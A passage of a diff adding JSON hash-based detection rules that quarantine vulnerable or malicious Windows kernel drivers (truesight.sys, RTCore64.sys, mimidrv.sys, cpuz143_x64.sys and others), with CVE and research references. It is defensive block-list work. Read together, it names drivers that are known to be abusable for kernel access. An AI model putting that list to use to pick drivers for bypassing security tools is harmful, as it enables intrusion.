+  "value": "7f2cdd3226b9362cdf99626e0eef83dcbe977585f366edc81e96b95f80289c76",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f283d6e4-cfce-5da7-8875-d328a33dd1cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154674Z",
+  "creation_date": "2026-03-23T11:45:31.154676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154681Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5663df0ac14cf5dd905000d4b233c397136f3123ecea3797ee0f05c5673b2fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f29f0779-9865-5616-b0b6-f323e5cefa88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487344Z",
+  "creation_date": "2026-03-23T11:45:31.487346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d7d52ae8481bf2ee43c8cf9f017587ee836f2834283c36e356142801175b5e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2ad3aec-d12e-5843-bd17-24482464ade9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141504Z",
+  "creation_date": "2026-03-23T11:45:31.141506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "730660c0335ba73f2adcf2007ff6caea98d69bd9d90d321320b3b3e64eb3b296",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2bdbd17-0b58-5117-834d-8ed53914d0a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984372Z",
+  "creation_date": "2026-03-23T11:45:29.984374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a88733b88cdc3f3cc040912ce5a3c44fa26f2ea8454cf6fc855b104a4910fa31",
+  "comment": "Vulnerable Kernel Driver (aka inpoutx64.sys) [https://www.loldrivers.io/drivers/91ff1575-9ff2-46fd-8bfe-0bb3e3457b7f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2c8ec4c-638c-5b79-8f03-2c6954d9497b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161129Z",
+  "creation_date": "2026-03-23T11:45:31.161131Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9844610c40f241d1a856c4d81ba41904ae465cbf5bfa222a96c665274f0e42d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2e2c15e-cbbe-5255-9192-0507cb7e3d29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825079Z",
+  "creation_date": "2026-03-23T11:45:31.825082Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fcd0c16be348a880d27b7210383009cf79620916321a368e809277ca03680c01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2f5affc-2719-5dec-9af8-f26c09dbe8a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607578Z",
+  "creation_date": "2026-03-23T11:45:29.607580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f5e5f1c93d961985624768b7c676d488c7c7c1d4c043f6fc1ea1904fefb75be",
+  "comment": "Vulnerable Kernel Driver (aka Bs_Def.sys) [https://www.loldrivers.io/drivers/3ac0eda2-a844-4a9d-9cfa-c25a9e05d678/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2f665e3-f898-559a-a7d3-ed74160376f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819515Z",
+  "creation_date": "2026-03-23T11:45:30.819517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fc0644085f956706ea892563309ba72f0986b7a3d4aa9ae81c1fa1c35e3e2d3",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2f6b286-6cd5-55f7-b8b5-d18062d1b7c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617396Z",
+  "creation_date": "2026-03-23T11:45:29.617398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c6c5e35accc37c928d721c800476ccf4c4b5b06a1b0906dc5ff4df71ff50943",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f2ff97ad-ca65-59cf-9cad-89c044035620",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460708Z",
+  "creation_date": "2026-03-23T11:45:30.460711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0dd3d43ab891777b11d4fdcb3b7f246b80bc66d12f7810cf268a5f6f4f8eb7b",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3023f78-c3d7-54b7-8000-bc4f9c0a1d0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615731Z",
+  "creation_date": "2026-03-23T11:45:29.615733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61a3bf24d4e3eac56c380b022dfc195bad4cc8d03156cdc3ba743faab582284a",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f305977c-4376-5019-ac07-3acbffb88bd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465311Z",
+  "creation_date": "2026-03-23T11:45:30.465314Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465323Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69866557566c59772f203c11f5fba30271448e231b65806a66e48f41e3804d7f",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f30b5eb3-adad-5714-8676-93378ff9aacb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604167Z",
+  "creation_date": "2026-03-23T11:45:29.604170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604175Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b5603b60137fed0dfcc95ec10563b0d5fa2e033944019ba5f338f7f7bd2aa45b",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f31d0834-3c43-53a2-abec-226f20be9117",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146203Z",
+  "creation_date": "2026-03-23T11:45:32.146206Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a82a5b833cf03738f2d159e2912d2947f5216a4d2adf31a204f365d7ceab430",
+  "comment": "Malicious Kernel Driver (aka 2.sys) [https://www.loldrivers.io/drivers/bb1f80f3-d2fd-463e-9403-57c919bd976b/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f31d757d-9f37-5499-a216-54ca752268f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153666Z",
+  "creation_date": "2026-03-23T11:45:31.153668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "985e930812e841b4eb96dbf53451932109a90b875c7be4631c92383fce269447",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f330b0d6-e2f8-573a-8f06-15fab66995fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491679Z",
+  "creation_date": "2026-03-23T11:45:31.491682Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e688dcd34052f0b04222d1c0d024225f842e5d2529bc2876f4be51b49fd0f06",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3311e5e-43be-5b8d-957b-96050f09505a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613030Z",
+  "creation_date": "2026-03-23T11:45:29.613032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d",
+  "comment": "Hilscher cifX Device Driver abuse (aka Physmem.sys) [https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f33acf16-b08c-5137-b09f-e54ce6e3d779",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610741Z",
+  "creation_date": "2026-03-23T11:45:29.610743Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3455a32-c6f4-5d0d-9d8f-ab192a9db134",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983421Z",
+  "creation_date": "2026-03-23T11:45:29.983423Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "630d7bdc20f33e6f822f52533a324865694886b7b74dfaad1dc30c9aee4260a2",
+  "comment": "Vulnerable Kernel Driver (aka My.sys) [https://www.loldrivers.io/drivers/b7ec29c6-e151-4a9f-a293-e61f04ee6489/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f3503be4-8609-5925-a9bd-ed45559c8262",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972543Z",
+  "creation_date": "2026-03-23T11:45:29.972545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972550Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a6212f3b68a6f263e96420b3607b31cfdfe51afff516f3c87d27bf8a89721e8",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f35ae36a-1300-55f7-977d-5dca164c6cce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611235Z",
+  "creation_date": "2026-03-23T11:45:29.611237Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1c71a98e10105faa0814fec3544474d86ae0e8f88efd77798a716adad3994a2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f35b8166-c1b7-5d95-825d-7ed52ea9ba84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829414Z",
+  "creation_date": "2026-03-23T11:45:31.829417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a90c426d7fd9e5f88f28af8dae29291b0e00f540ed4c9fcf87c4dc221a181d74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
